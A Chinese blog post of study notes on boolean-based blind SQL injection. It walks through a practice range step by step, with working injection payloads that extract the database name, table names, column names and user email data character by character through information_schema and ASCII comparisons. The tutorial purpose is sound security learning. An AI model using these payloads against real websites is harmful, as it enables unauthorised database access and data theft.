SQL 注入之布尔盲注

本文详细介绍了SQL注入中的布尔盲注技术,包括其原理、常用的数据库函数以及如何通过逐步测试获取数据库信息。作者通过一个在线靶场实践,演示了判断数据库名、表名和属性名的过程,展示了如何利用布尔盲注获取用户信息。
摘要由CSDN通过智能技术生成

SQL注入之布尔盲注

本人记录这些为了学习的同时,能够有很好的记录,所谓好记性不如烂笔头,同时发布出来,也是希望大家有朋友学习到这里想上网搜索一些东西,以便借用和探讨一些问题,总之,不断学习!!
自我修养:没有一个系统是安全的

理解

*布尔盲注就是:只有两种状态:ture or false,当在地址栏输入查询语句时,对应的结果只有这两种状态,也就是他没有回显位置,那么要如何去知晓它的更深的信息呢?*

盲注需要用到的函数

*length() 返回字符串长度 
 substr() 截取字符串
 ascii()    返回字符串的ascii码
 sleep()  将程序执行延迟 .  ()/秒
 if(exp1,exp2,exp3)   如果第一个正确,就执行第二个,否则执行第三个*

实例讲解

这里我用的是网上下载的sql注入练习靶场。
在这里插入图片描述
**这里很清楚的能看到,他提升我们输入ID,那我们就一步一步的拿到这个靶场的后台数据库信息 **

  1. 输入?id=1,发现出现以下界面:在这里插入图片描述
    那么我们就知道这个界面没有返回回显点,当我们输入错误时,他什么也不显示,那我们就知道这个是个盲注模型了

  2. 首先判断数据库名的字符串长度,这里我是一个一个盲测试弄出来的,如果有小伙伴有更好的,可以评论,我也好好学习。 **?id=1’ and (length(database())=8) --+ ** 得出这个数据库名字字符串长度为8
    以下执行成功都是如图所示 you are in…,我就不截图了

在这里插入图片描述

  1. 来就是用burp来爆破这8个字符分别是什么,burp的使用大家可以网上搜,像软件的使用教程网上还是多。那么再使用前,我们要用到函数substr()和ascii()两个函数,以及ascii表.。_
    这里我做第一个字符,后面以此类推,
    **?id=1’ and (ascii(substr(database(),1,1))=115) --+ **
    这个1,1是指从第一个字符截取一个字符,这里查ascii表得知115为s,就可以慢慢得知名字s…

    • 字security之后,我们就需要拿他的表名*
      ?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) --+
      这里的limit 0,1是指选取第一个表名,后面以此类推
  2. 拿到表名自然就可以拿表里的属性名了
    ?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=105) --+

  3. 有了属性名自然就可以拿到里面的用户信息了
    ?id=1’ and (ascii(substr((select id from emails limit 0,1),1,1))=49) --+
    ?id=1’ and (ascii(substr((select email_id from emails limit 0,1),1,1))=68) --+

今天的学习就到这里,持续学习中

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值